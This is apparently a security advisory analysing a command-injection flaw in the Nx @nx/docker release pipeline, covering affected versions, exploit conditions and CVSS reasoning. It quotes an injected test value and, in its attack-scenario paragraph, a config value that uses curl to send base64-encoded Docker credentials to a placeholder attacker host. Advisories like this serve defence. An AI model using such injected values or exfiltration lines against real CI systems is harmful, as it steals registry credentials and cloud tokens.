Nx (@nx/docker) EUVD-2026-91767

Requires the @nx/docker plugin to be configured with a release pipeline, and the attacker must get malicious values into release.docker.repositoryName or registryUrl - achievable via an untrusted pull request or any repository configuration change. Exploitation only fires when nx release version or nx release publish is actually executed by a maintainer or CI job; notably, dry-run publishing does NOT prevent the vulnerable pre-check (docker image lookup) command from running. Limiting factors: the vulnerable code path exists only in affected versions 21.4.0 through 22.7.7 and 23.0.0 through 23.1.0, only when docker releases are in use, and requires a trusted release job to pick up and execute the attacker-controlled config - so repositories that do not use @nx/docker releases, or that gate config changes behind review before release, are not exposed.

This is a genuine but conditional CI/CD supply-chain risk rather than a drive-by remote exploit. The CWE-78 command injection is real and clearly demonstrated by the vendor's own regression test (a '1.0.0; touch injected.txt' payload breaking out of the docker tag shell string), and the fix hardening exec/execSync into execFile/execFileSync confirms the root cause. However, the signals are mixed on urgency: the vendor-supplied CVSS 4.0 vector (AV:L/AT:P/UI:P) correctly reflects that exploitation is not a simple network blast - it requires the @nx/docker release pipeline to actually run and a maintainer/CI to invoke nx release. There is NO EPSS score, NO CISA KEV listing, and NO standalone public exploit (the PR test is a fix-side proof, not weaponized code), so this is best treated as 'no public exploit identified at time of analysis.' The high VC/VI/VA (credential and cloud-token exposure with release-job privileges) is what elevates this to a real priority for any org running Nx docker releases, especially because malicious input arrives via untrusted pull requests - a realistic threat model for public monorepos. Note PR:N in the vector is consistent with the attack model (an outside contributor needs no privileges to open a PR), but exploitation still depends on that PR's config being executed by a trusted release job.

An attacker opens a pull request (or otherwise alters workspace configuration) that sets release.docker.repositoryName or registryUrl to a value containing shell metacharacters, e.g. myrepo; curl attacker/$(cat ~/.docker/config.json | base64). When a maintainer or CI runs nx release version or nx release publish, the value is interpolated into a /bin/sh -c string and the injected command runs with the release job's privileges, exfiltrating registry credentials or cloud tokens. No public weaponized exploit exists, but the vendor's regression test publicly demonstrates the injection technique, and dry-run mode does not prevent the vulnerable pre-check from executing.